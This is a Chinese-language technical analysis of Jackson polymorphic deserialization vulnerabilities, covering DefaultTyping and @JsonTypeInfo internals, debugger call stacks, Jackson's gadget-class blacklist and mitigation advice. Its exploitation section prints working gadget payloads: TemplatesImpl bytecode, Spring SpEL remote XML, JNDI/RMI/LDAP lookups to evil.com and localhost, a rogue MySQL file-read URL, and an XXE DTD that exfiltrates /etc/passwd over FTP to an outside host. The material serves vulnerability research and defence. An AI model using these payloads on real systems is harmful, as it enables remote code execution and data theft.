0x01 介绍
Java的生态圈中有很多处理JSON的类库,比较常见的有fastjson、jackson、gson等,按照使用者的说法Jackson的速度是最快的,我们可以看看正常的Jackson写法。
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Hello {
public static void main(String[] args){
Student stu = new Student();
stu.name="l1nk3r";
stu.age=100;
ObjectMapper mapper = new ObjectMapper();
try {
String json=mapper.writeValueAsString(stu);
System.out.println(json);
//{"age":100,"name":"l1nk3r"}
Student stu1 = mapper.readValue(json,Student.class);
System.out.println(stu1);
//age=100, name=l1nk3r
} catch (JsonProcessingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
class Student{
public int age;
public String name;
@Override
public String toString() {
return String.format("age=%d, name=%s", age, name);
}
}
0x02 特殊的机制
首先Jackson有一种特殊的机制 — JacksonPolymorphicDeserialization,这里可以翻译为Jackson的多态类型绑定。从文档中可以看到两种情况,一种是 Global default typing(全局的DefaultTyping),另一种是 @JsonTypeInfo 注解两种方式。
1.DefaultTyping
从上面那份文档来看,在这个方式里面一种有4个值。
- JAVA_LANG_OBJECT: only affects properties of type
Object.class
- OBJECT_AND_NON_CONCRETE: affects
Object.class
and all non-concrete types (abstract classes, interfaces)- NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or
Object.class
)- NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types.
当然在代码里面也是一样的。
下面其实可以分别看看这四个值的作用是什么。
(1)、JAVA_LANG_OBJECT
JAVA_LANG_OBJECT :当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)。
例如下面的代码,我们给 People 里添加一个 Object object 。
package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
p.object = new l1nk3r();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@4566e5bd
}
}
class People {
public int age;
public String name;
public Object object;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class l1nk3r {
public int length = 100;
}
所以按照上面的描述那么输出的序列化json信息中应该携带了相关的类的信息,而在反序列化的时候自然会进行还原。
(2)、OBJECT_AND_NON_CONCRETE
OBJECT_AND_NON_CONCRETE :除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。
例如下面的代码,这次我们添加名为 Sex 的 interface ,发现它被正确序列化、反序列化了,就是这个选项控制的。
package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
p.object = new l1nk3r();
p.sex=new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
}
}
class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class l1nk3r {
public int length = 100;
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
默认的、无参的 enableDefaultTyping 是 OBJECT_AND_NON_CONCRETE 。
(3)、NON_CONCRETE_AND_ARRAYS
NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,还支持上文全部类型的Array类型。
例如下面的代码,我们的Object里存放l1nk3r的数组。
package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "com.l1nk3r.jackson.l1nk3r";
l1nk3r[] l1nk3rs= new l1nk3r[2];
l1nk3rs[0]=new l1nk3r();
l1nk3rs[1]=new l1nk3r();
p.object = l1nk3rs;
p.sex=new MySex();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Lcom.l1nk3r.jackson.l1nk3r;",[{"length":100},{"length":100}]],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}]}
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=com.l1nk3r.jackson.l1nk3r, [Lcom.l1nk3r.jackson.l1nk3r;@1e127982
}
}
class People {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
}
}
class l1nk3r {
public int length = 100;
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
(4)、NON_FINAL
NON_FINAL :包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
例如下面的代码,添加了类型为l1nk3r的变量,非Object也非虚,但也可以被序列化出来。
package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
People p = new People();
p.age = 10;
p.name = "l1nk3r";
p.object = new l1nk3r();
p.sex=new MySex();
p.l1nk3r=new l1nk3r();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(p);
System.out.println(json);
//["com.l1nk3r.jackson.People",{"age":10,"name":"l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}],"sex":["com.l1nk3r.jackson.MySex",{"sex":0}],"l1nk3r":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}]
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
//age=10, name=l1nk3r, com.l1nk3r.jackson.l1nk3r@ff5b51f
}
}
class People {
public int age;
public String name;
public Object object;
public Sex sex;
public l1nk3r l1nk3r;
@Override
public String toString() {
return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex,
l1nk3r == null ? "null" : l1nk3r);
}
}
class l1nk3r {
public int length = 100;
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
2.@JsonTypeInfo注解
@JsonTypeInfo 也是jackson多态类型绑定的一种方式,它一共支持下面5种类型的取值。
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)
下面使用一段测试代码可以看看这五个类型的分别作用。
package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Jsontypeinfo {
public static void main(String[] args) throws IOException {
ObjectMapper mapper= new ObjectMapper();
User user = new User();
user.name= "l1nk3r";
user.age=100;
user.obj=new Height();
String json = mapper.writeValueAsString(user);
System.out.println(json);
}
}
class User{
public String name;
public int age;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object obj;
public String toString(){
return "name:" + name + " age:" + age + " obj:" + obj;
}
}
class Height{
public int h = 100;
}
(1)、Id.NONE
这种方式的输出结果实际上是我们最想要的,这里只需要相关参数的值,并没有其他一些无用信息。
{"name":"l1nk3r","age":100,"obj":{"h":100}}
(2)、Id.CLASS
这种方式的输出结果中携带了相关java类,也就是说反序列化的时候如果使用了JsonTypeInfo.Id.CLASS
修饰的话,可以通过 @class 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@class":"com.l1nk3r.jackson.Height","h":100}}
(3)、Id.MINIMAL_CLASS
这种方式的输出结果也携带了相关类,和 id.CLASS 的区别在 @class 变成了 @c ,从官方文档中描述中这个应该是一个更短的类名字。同样也就是说反序列化的时候如果使用了JsonTypeInfo.Id.MINIMAL_CLASS
修饰的话,可以通过 @c 方式指定相关类,并进行相关调用。
{"name":"l1nk3r","age":100,"obj":{"@c":"com.l1nk3r.jackson.Height","h":100}}
(4)、Id.NAME
这种输出方式没有携带类名字,在反序列化时也是不可以利用的。
{"name":"l1nk3r","age":100,"obj":{"@type":"Height","h":100}}
(5)、Id.COSTOM
这个无法直接用,需要手写一个解析器才可以配合使用,所以直接回抛出异常。
3.小结
所以按照上述分析,3种情况下可以触发Jackson反序列化漏洞
1、enableDefaultTyping()
2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
3、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
0x03解析流程
1、DefaultTyping
测试代码
package com.l1nk3r.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json="{\"age\":10,\"name\":\"l1nk3r\",\"sex\":[\"com.l1nk3r.jackson.MySex\",{\"sex\":100}]}";
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
}
}
class People {
public int age;
public String name;
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
}
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
这里先选择在 MySex 构造函数上下个断点,因为在payload有这么一个类com.l1nk3r.jackson.MySex
的调用,下面是调用栈。
<init>:35, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:61, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:20, JavaLangObject (com.l1nk3r.jackson)
这里首先研究一下,它是如何找到我们调用的类:com.l1nk3r.jackson.MySex
,前面几个没什么好看的,我选择在com.fasterxml.jackson.databind.deser.BeanDeserializer#deserialize
这里下断点:
public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException
{
// common case first
if (p.isExpectedStartObjectToken()) {
if (_vanillaProcessing) {
return vanillaDeserialize(p, ctxt, p.nextToken());
}
进入到 AsArrayTypeDeserializer#_deserialize ,我关注到下面这个代码,这个代码根据typeId寻找反序列化。
_findDeserializer 方法,在最后返回之前使用put处理typeId和deser。最后return deser中的相关对象。
然后又回到了 AsArrayTypeDeserializer#_deserialize 中,继续调用 BeanDeserializer#deserialize 来进行处理,这里 _vanillaProcessing=true ,所以这里调用 BeanDeserializer#vanillaDeserialize 。
而在 BeanDeserializer#vanillaDeserialize 里面又开始调用 StdValueInstantiator#createUsingDefault 寻找类。
并使用 AnnotatedConstructor#call 通过反射来处理这个找到的类。
public final Object call() throws Exception {
return _constructor.newInstance();
}
而在setter上下断点之后主要是在 MethodProperty#deserializeAndSet ,通过反射调用相关setter方法。
所以解析过程应该是如下图所示:
其中 BeanDeserializerBase#vanillaDeserialize 中有两个关键点:
1、StdValueInstantiator#createUsingDefault 方法负责调用 AnnotatedConstructor#call 中call方法,然后通过反射方式来寻找我们从json中输入的类。
2、MethodProperty#deserializeAndSet 方法负责寻找相关setter设置,这里也是通过invoke反射的方式。
2、JsonTypeInfo
package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String args[]) throws IOException {
ObjectMapper mapper = new ObjectMapper();
String json="{\"sex\":{\"@class\":\"com.l1nk3r.jackson.MySex\",\"sex\":20}}";
People p2 = mapper.readValue(json, People.class);
System.out.println(p2);
}
}
class People {
public int age;
public String name;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Sex sex;
@Override
public String toString() {
return String.format("age=%d, name=%s, sex=%d", age, name,sex.getSex());
}
}
class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
interface Sex {
public void setSex(int sex);
public int getSex();
}
在 class MySex 下断点,发现调用栈和使用 DefaultTyping 的时候是一致。
<init>:37, MySex (com.l1nk3r.jackson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)
而在setter处下断点的调用栈也和发现调用栈和使用 DefaultTyping 的时候是一致。
deserializeAndSet:139, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeOther:189, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:161, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserializeTypedForId:130, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromObject:97, AsPropertyTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:254, AbstractDeserializer (com.fasterxml.jackson.databind.deser)
deserializeAndSet:145, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:21, JavaLangObject (com.l1nk3r.jackson)
所以这里反面也验证了,enableDefaultTyping
和@JsonTypeInfo
这两种情况都有可能触发Jackson反序列化漏洞。
0x04 利用方式
TemplatesImpl
payload
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evilCode = readClass("Calc.class");
final String JSON = aposToQuotes(
"{"
+ " 'obj':[ '" + NASTY_CLASS + "',\n"
+ " {\n"
+ " 'transletBytecodes' : [ '" + evilCode + "' ],\n"
+ " 'transletName' : 'a.b',\n"
+ " 'outputProperties' : { }\n"
+ " }\n"
+ " ]\n"
+ "}"
);
分析
最早出现的Jackson漏洞利用方式应该是这个,按照上面的逻辑跟进分析整个过程 createUsingDefault 通过反射的方式寻找我们的输入的利用类。
然后 deserializeAndSet ,调用相关setter方法设置相关值。但是这个方法在这里使用有一点点不太一样。首先在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中是没有找到 setOutputProperties 。但是却找到了这个方法其getter方法 getOutputProperties ,所以这里的 **deserializeAndSet **是 SetterlessProperty 这个类中的方法,而这个方法实际是寻找相关getter。
public final void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException {
JsonToken t = p.getCurrentToken();
if (t != JsonToken.VALUE_NULL) {
if (this._valueTypeDeserializer != null) {
ctxt.reportMappingException("Problem deserializing 'setterless' property (\"%s\"): no way to handle typed deser with setterless yet", new Object[]{this.getName()});
}
Object toModify;
try {
toModify = this._getter.invoke(instance);
} catch (Exception var7) {
this._throwAsIOE(p, var7);
return;
}
if (toModify == null) {
throw JsonMappingException.from(p, "Problem deserializing 'setterless' property '" + this.getName() + "': get method returned null");
} else {
this._valueDeserializer.deserialize(p, ctxt, toModify);
}
}
}
这里和 fastjson 做个对比,Fastjson中使用parseObject()的过程最后会Json.tojson(),调用属性的getter方法,但是在Jackson的反序列化过程中不会默认调用getter方法,那么接下来的调用方法就很简单了。
下图是 defineTransletClasses 在 左边jdk1.7.0_25 和 右边jdk1.8.0_181 ,实际测试来看没办法在 jdk1.8.0_181 上运行。
由于我们的payload是没有携带 _tfactory 字段。
"{"
+ " 'obj':[ '" + NASTY_CLASS + "',\n"
+ " {\n"
+ " 'transletBytecodes' : [ '" + evilCode + "' ],\n"
+ " 'transletName' : 'a.b',\n"
+ " 'outputProperties' : { }\n"
+ " }\n"
+ " ]\n"
+ "}"
我们将 _tfactory 字段补齐,发现还是不行,原因是出在了jackson上,在 BeanPropertyMap 中SettableBeanProperty find 的时候没有获取 _tfactory 的结果。
但是这个payload在 1.8.0_40 上是ok的。
深入看 1.8.0_40 的 defineTransletClasses 是还是和 jdk1.7.0_25 的一样,所以也就是说该利用方式具体影响jdk1.8以上哪些版本需要详细测试一下。
FileSystemXmlApplicationContext
payload
["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]
分析
首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)
在这个地方下一个断点
org/springframework/context/support/FileSystemXmlApplicationContext.class
通过idea可以通过 diagrams 的 Show Diagram Popup 查看类与接口之间的继承关系。
在 beanFactory 中有 getBean 的构造方法
而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。
我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化,以及反射机制进入到了 getBean 方法,并且获取到了这个 name 为pb的方法。
在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点,我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe 。
这里看一下 evaluate 方法的实现。
然后会继续解析 #{ pb.start() } ,对 #{ pb.start() } 进行spel操作。
当解析完 pb.start 操作后就会命令执行。
MiniAdmin
payload
"[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
分析
首先这个漏洞利用方式和之前的常见调用栈不太一样,主要是下面这个几个,不太一样的本质在于这个利用类没有相应的getter、setter方法。
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)
这个漏洞利用的是mysql的一个特性,mysql的load data local允许将本地文件中的数据插入到相关数据库的表中,而在mysql的驱动中,默认的值是true,允许读取本地文件,直到 8.0.15 版本之后在做了修改。
也就是说如果当前用的mysql连接库低于8.0.15,我们可以配合这个项目,发起攻击,任意读取本地文件。
通过传入mysql连接的url,然后调用的相关数据库连接驱动,发起数据库连接的请求,最后完成攻击。
logback
payload
[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8888/inject.sql'\"}]"
分析
利用链和之前分析的一样,反序列化的时候这里会进入DriverManagerConnectionSource#setUrl
传入url参数。
但是这个漏洞触发需要再做一次序列化,序列化的时候就会去寻找gettter,这里先寻找 getDriverClass 。
然后再寻找 getUrl ,由于 getUrl 是刚刚我们设置的payload,于是这里便通过getter获取到值。
最后再发起请求,由于h2数据库可以以men方式执行加载在内存的sql语句,并且是在JVM中运行实现,因此h2数据库可以执行java代码,配合这个特性可以用来解决代码执行,但是这个利用方式会很少见。
Other
由于payload太多了,这里简单总结一下其他的,不做一一具体分析了,当然还有更多,大家也可以看看这个项目。
[\"org.springframework.context.support.GenericGroovyApplicationContext\", " "\"http://127.0.0.1:8000/spel.xml\"]
"[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:1099/Exploit\",\"loginTimeout\":0}]"
[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}]
"['org.apache.openjpa.ee.RegistryManagedRuntime', "
+"{'registryName':'ldap://127.0.0.1:1389/Test1', 'rollbackOnly': null}]"
"['org.apache.openjpa.ee.JNDIManagedRuntime',"
+"{'transactionManagerName':'ldap://evil.com:1389/Test1', 'rollbackOnly': null}]";
"['org.apache.axis2.transport.jms.JMSOutTransportInfo', 'jms:/ldap://evil.com:1389/Test1']";
XXE:
//payload
"[\"org.jdom2.transform.XSLTransformer\",\"http://aliyun.nudtcat.org:84/ftp5.xml\"]"
//XXE
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://aliyun.nudtcat.org:84/dtd.php">%asd;%c;]>
<cdl>&rrr;</cdl>
//DTD
<?php
echo '<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY rrr SYSTEM \'ftp://aliyun.nudtcat.org:2121/%d;\'>">';
0x05 黑名单
这是截止到目前的黑名单,当然这种黑名单机制的黑名单只能更多不可能更少。
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("jodd.db.connection.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled
s.add("org.slf4j.ext.EventData");
s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9)
s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
// [databind#2334]: logback-core (2.9.9.1)
s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");
// [databind#2387]: EHCache
s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
// [databind#2389]: logback/jndi
s.add("ch.qos.logback.core.db.JNDIConnectionSource");
0x06 后话
jackson漏洞的利用方式在fastjson上大部分都能兼容,如果使用jackson且防止反序列化漏洞的话,一方面可能需要升级最新jackson的组件版本,另一方面尽量避免使用Object对象作为Jackson反序列化的目标。
当然也可以考虑一下Jackson-dababind(3.x)将使用新的API,该API layer可以提供一种基于白名单的序列化方式来处理多态类(polymorph classes),以此解决该系列漏洞。
Reference
Jackson反序列化漏洞简介(一):Jackson基本的工作原理